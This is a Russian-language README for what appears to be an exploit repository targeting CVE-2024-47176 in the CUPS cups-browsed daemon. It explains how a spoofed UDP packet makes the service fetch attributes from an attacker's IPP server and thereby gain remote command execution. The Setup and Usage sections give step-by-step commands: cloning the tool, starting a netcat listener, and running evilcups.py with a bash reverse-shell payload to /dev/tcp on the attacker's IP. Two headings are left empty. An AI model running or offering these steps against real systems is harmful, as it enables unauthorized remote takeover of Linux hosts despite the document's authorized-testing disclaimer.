CVE-2024-47176 — Удаленное выполнение команд в CUPS

Только для образовательных целей и авторизованного тестирования на проникновение.

Содержание

• Описание
• Затронутые системы
• Связанные CVE
• Предварительные требования
• Настройка
• Использование
• Отказ от ответственности

Описание

CUPS (Common UNIX Printing System) — это открытая система печати, управляющая сетевыми принтерами. CVE-2024-47176 нацелен на демон cups-browsed, который привязывается к INADDR_ANY:631 и слепо доверяет пакетам от любого источника.

Создав вредоносный UDP-пакет, инициирующий IPP-запрос Get-Printer-Attributes, злоумышленник может заставить cups-browsed подключиться к контролируемому им серверу — и в сочетании с уязвимостями ниже добиться произвольного удаленного выполнения команд.

Затронутые системы

Связанные CVE

Предварительные требования

• Целевая машина с открытым портом 631 (IPP/UDP)
• Python 3.x на вашей атакующей машине
• nmap (необязательно, для разведки)
• Прослушиватель netcat для обратной оболочки

Настройка

1. Клонируйте репозиторий:

git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176

2. Установите необходимую зависимость Python:

pip install ippserver

3. Запустите прослушиватель на вашей машине:

nc -lvnp <PORT>

Использование

./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"

Пример — обратная оболочка:

./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"

После запуска эксплойта инициируйте задание печати на цели (или дождитесь автоматической проверки), чтобы выполнить полезную нагрузку.

Отказ от ответственности

Этот репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности. Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным и неэтичным.